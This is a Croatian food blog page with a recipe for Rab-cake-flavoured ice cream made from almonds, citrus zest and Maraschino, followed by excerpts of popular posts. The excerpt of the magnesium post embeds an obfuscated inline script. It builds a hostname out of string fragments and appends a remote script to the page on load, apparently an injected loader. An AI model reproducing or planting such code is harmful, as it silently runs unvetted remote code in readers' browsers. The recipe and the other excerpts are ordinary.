SLADOLED RAPSKA TORTA 🍰




Sladoled rapska torta 




Rapska torta jedan je od specijaliteta koje je teško zamijeniti s bilo kojim drugim. Prepoznatljivi spiralni oblik možda je prvo što primijetimo, ali njezin okus zapravo počiva na kombinaciji badema, Maraskina te korice limuna i naranče. Tradicionalni recept te sastojke koristi u bogatom nadjevu, zbog čega nam se učinilo da bi se isti okusi vrlo lako mogli preseliti u jedan sasvim drugačiji, puno ljetniji desert.




Sladoled rapska torta 


Sastojci:

500 ml hladnog slatkog vrhnja za šlag, s najmanje 30 % mliječne masti
1 limenka zaslađenog kondenziranog mlijeka, oko 397 g
100 g badema
naribana korica 1/2 neprskanog limuna
naribana korica 1/2 neprskane naranče
1,5 do 2 žlice Maraskina
prstohvat soli
1/2 žličice ekstrakta vanilije, po želji
malo nasjeckanih tostiranih badema za posluživanje




Priprema:

Bademe prvo lagano tostirajte na suhoj tavi ili nekoliko minuta u pećnici, samo dok ne zamirišu, pa ih potpuno ohladite. Oko dvije trećine sameljite prilično sitno, a ostatak grubo nasjeckajte kako bi u sladoledu ostalo malo teksture.

U većoj zdjeli pomiješajte kondenzirano mlijeko, mljevene bademe, koricu limuna i naranče, Maraskino i prstohvat soli. Maraskino ovdje nije samo dodatak: uz bademe i citruse jedan je od sastojaka koji definira okus tradicionalne Rapske torte. Mala količina alkohola pritom može pomoći da domaći sladoled nakon zamrzavanja ostane nešto mekši, ali s njim ne treba pretjerivati jer previše alkohola otežava zamrzavanje.

Dobro ohlađeno slatko vrhnje istucite do mekanih do srednje čvrstih vrhova. Otprilike trećinu umiješajte u smjesu s kondenziranim mlijekom kako biste je malo olakšali, a zatim nježno špatulom umiješajte ostatak. Na kraju dodajte grubo nasjeckane bademe.

Smjesu prebacite u metalni kalup za kruh ili posudu prikladnu za zamrzavanje, poravnajte površinu i dobro pokrijte. Ostavite u zamrzivaču najmanje šest sati, a najbolje preko noći. Prije posluživanja izvadite sladoled desetak minuta ranije kako bi se lakše grabio. Baza od kondenziranog mlijeka i tučenog vrhnja nakon višesatnog zamrzavanja dobiva čvrstu, ali i dalje kremastu teksturu. Poslužiti ga možete sasvim jednostavno, s nekoliko tostiranih badema i malo svježe naribane korice naranče. Ako želite još izravniju poveznicu s originalom, uz kuglicu sladoleda možete dodati mali komad Rapske torte.

Rapsku tortu ne treba popravljati niti modernizirati, stoljećima joj sasvim dobro ide i bez toga. Ali bademi, citrusi i Maraskino toliko dobro funkcioniraju zajedno da bi bila šteta ne isprobati ih barem jednom i iz zamrzivača.




Pripremila: Ivana Matas 


Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više